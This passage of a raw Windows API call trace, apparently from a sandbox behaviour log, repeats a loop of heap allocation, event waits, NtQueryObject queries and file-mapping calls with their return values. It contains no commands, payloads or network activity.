(hEvent=0x114) returned 1 [0259.622] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.622] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.622] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.622] ResetEvent (hEvent=0x110) returned 1 [0259.622] SetEvent (hEvent=0x114) returned 1 [0259.622] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.622] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.622] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.622] ResetEvent (hEvent=0x110) returned 1 [0259.622] SetEvent (hEvent=0x114) returned 1 [0259.622] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.622] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.623] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.623] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.623] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.623] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.623] ResetEvent (hEvent=0x110) returned 1 [0259.623] SetEvent (hEvent=0x114) returned 1 [0259.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.623] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.623] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.623] ResetEvent (hEvent=0x110) returned 1 [0259.623] SetEvent (hEvent=0x114) returned 1 [0259.623] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.623] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.623] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.623] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.623] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.623] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.623] ResetEvent (hEvent=0x110) returned 1 [0259.624] SetEvent (hEvent=0x114) returned 1 [0259.624] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.624] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.624] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.624] ResetEvent (hEvent=0x110) returned 1 [0259.624] SetEvent (hEvent=0x114) returned 1 [0259.624] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.624] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.624] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.624] ResetEvent (hEvent=0x110) returned 1 [0259.624] SetEvent (hEvent=0x114) returned 1 [0259.624] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.624] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.624] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.624] ResetEvent (hEvent=0x110) returned 1 [0259.625] SetEvent (hEvent=0x114) returned 1 [0259.625] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.625] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.625] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.625] ResetEvent (hEvent=0x110) returned 1 [0259.625] SetEvent (hEvent=0x114) returned 1 [0259.663] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.664] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.664] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.664] ResetEvent (hEvent=0x110) returned 1 [0259.664] SetEvent (hEvent=0x114) returned 1 [0259.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.664] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.664] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.664] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.664] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.664] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.664] ResetEvent (hEvent=0x110) returned 1 [0259.664] SetEvent (hEvent=0x114) returned 1 [0259.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.665] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.665] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.665] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.665] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.665] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.665] ResetEvent (hEvent=0x110) returned 1 [0259.665] SetEvent (hEvent=0x114) returned 1 [0259.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.665] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.665] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.665] ResetEvent (hEvent=0x110) returned 1 [0259.665] SetEvent (hEvent=0x114) returned 1 [0259.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.665] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.665] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.665] ResetEvent (hEvent=0x110) returned 1 [0259.666] SetEvent (hEvent=0x114) returned 1 [0259.666] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.666] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.666] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.666] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.666] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.666] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.666] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.666] ResetEvent (hEvent=0x110) returned 1 [0259.666] SetEvent (hEvent=0x114) returned 1 [0259.666] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.666] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.666] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.666] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.666] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.666] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.666] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.666] ResetEvent (hEvent=0x110) returned 1 [0259.666] SetEvent (hEvent=0x114) returned 1 [0259.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.667] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.667] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.667] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.667] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.667] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.667] ResetEvent (hEvent=0x110) returned 1 [0259.667] SetEvent (hEvent=0x114) returned 1 [0259.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.667] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.667] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.667] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.667] ResetEvent (hEvent=0x110) returned 1 [0259.667] SetEvent (hEvent=0x114) returned 1 [0259.667] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.667] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.668] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.668] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.668] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.668] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.668] ResetEvent (hEvent=0x110) returned 1 [0259.668] SetEvent (hEvent=0x114) returned 1 [0259.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.668] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.668] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.668] ResetEvent (hEvent=0x110) returned 1 [0259.668] SetEvent (hEvent=0x114) returned 1 [0259.668] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.668] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.668] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.668] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.668] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.668] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.668] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.669] ResetEvent (hEvent=0x110) returned 1 [0259.669] SetEvent (hEvent=0x114) returned 1 [0259.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.669] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.669] ResetEvent (hEvent=0x110) returned 1 [0259.669] SetEvent (hEvent=0x114) returned 1 [0259.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.669] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.669] ResetEvent (hEvent=0x110) returned 1 [0259.669] SetEvent (hEvent=0x114) returned 1 [0259.669] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.669] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.669] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.669] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.670] ResetEvent (hEvent=0x110) returned 1 [0259.670] SetEvent (hEvent=0x114) returned 1 [0259.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.670] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.670] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.670] ResetEvent (hEvent=0x110) returned 1 [0259.670] SetEvent (hEvent=0x114) returned 1 [0259.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.670] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.670] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.670] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.670] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.670] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.670] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.670] ResetEvent (hEvent=0x110) returned 1 [0259.670] SetEvent (hEvent=0x114) returned 1 [0259.670] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.671] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.671] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.671] ResetEvent (hEvent=0x110) returned 1 [0259.671] SetEvent (hEvent=0x114) returned 1 [0259.671] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.671] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.671] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.671] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.671] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.671] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.671] ResetEvent (hEvent=0x110) returned 1 [0259.671] SetEvent (hEvent=0x114) returned 1 [0259.671] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.671] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.671] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.671] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.671] ResetEvent (hEvent=0x110) returned 1 [0259.672] SetEvent (hEvent=0x114) returned 1 [0259.672] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.672] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.672] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.672] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.672] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.672] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.672] ResetEvent (hEvent=0x110) returned 1 [0259.672] SetEvent (hEvent=0x114) returned 1 [0259.672] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.672] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.672] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.672] NtQueryObject (in: Handle=0x1bc, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.672] MapViewOfFile (hFileMappingObject=0x1bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.672] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.672] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 